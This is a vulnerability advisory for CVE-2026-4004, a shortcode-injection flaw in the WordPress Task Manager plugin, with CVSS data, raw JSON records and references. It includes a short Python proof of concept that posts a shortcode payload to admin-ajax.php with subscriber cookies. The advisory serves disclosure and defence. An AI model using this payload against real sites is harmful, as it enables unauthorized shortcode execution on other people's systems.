Security Vulnerability Report
中文
CVE-2026-4004 CVSS 6.5 MEDIUM

CVE-2026-4004

Published: 2026-03-21 04:17:39
Last Modified: 2026-04-24 16:27:44

Description

The Task Manager plugin for WordPress is vulnerable to arbitrary shortcode execution via the 'search' AJAX action in all versions up to, and including, 3.0.2. This is due to missing capability checks in the callback_search() function and insufficient input validation that allows shortcode syntax (square brackets) to pass through sanitize_text_field() and be concatenated into a do_shortcode() call. This makes it possible for authenticated attackers, with Subscriber-level access and above, to execute arbitrary shortcodes on the site by injecting shortcode syntax into parameters like 'task_id', 'point_id', 'categories_id', or 'term'.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Task Manager <= 3.0.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL (Example) target_url = "http://example.com/wp-admin/admin-ajax.php" # Attacker's cookies (Subscriber level) cookies = { "wordpress_logged_in_xxxxx": "your_cookie_value_here" } # Vulnerable payload: Injecting a shortcode via the 'task_id' parameter # Replace [malicious_shortcode] with an actual shortcode available on the target payload_data = { "action": "search", "task_id": "[malicious_shortcode arg='value']" } try: response = requests.post(target_url, data=payload_data, cookies=cookies) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response:", response.text) else: print("[-] Failed to send request.") except Exception as e: print(f"Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4004", "sourceIdentifier": "[email protected]", "published": "2026-03-21T04:17:39.033", "lastModified": "2026-04-24T16:27:44.277", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Task Manager plugin for WordPress is vulnerable to arbitrary shortcode execution via the 'search' AJAX action in all versions up to, and including, 3.0.2. This is due to missing capability checks in the callback_search() function and insufficient input validation that allows shortcode syntax (square brackets) to pass through sanitize_text_field() and be concatenated into a do_shortcode() call. This makes it possible for authenticated attackers, with Subscriber-level access and above, to execute arbitrary shortcodes on the site by injecting shortcode syntax into parameters like 'task_id', 'point_id', 'categories_id', or 'term'."}, {"lang": "es", "value": "El plugin Task Manager para WordPress es vulnerable a la ejecución arbitraria de shortcodes a través de la acción AJAX 'search' en todas las versiones hasta la 3.0.2, inclusive. Esto se debe a la falta de comprobaciones de capacidad en la función callback_search() y a una validación de entrada insuficiente que permite que la sintaxis de shortcode (corchetes) pase a través de sanitize_text_field() y se concatene en una llamada a do_shortcode(). Esto hace posible que atacantes autenticados, con acceso de nivel Suscriptor y superior, ejecuten shortcodes arbitrarios en el sitio inyectando sintaxis de shortcode en parámetros como 'task_id', 'point_id', 'categories_id' o 'term'."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/task-manager/tags/3.0.2/module/navigation/action/navigation.action.php#L29", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/task-manager/tags/3.0.2/module/navigation/action/navigation.action.php#L46", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/task-manager/tags/3.0.2/module/navigation/action/navigation.action.php#L75", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/task-manager/trunk/module/navigation/action/navigation.action.php#L29", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/task-manager/trunk/module/navigation/action/navigation.action.php#L46", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/task-manager/trunk/module/navigation/action/navigation.action.php#L75", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/e3a902a6-c16f-4e0a-a13a-defb93754c92?source=cve", "source": "[email protected]"}]}}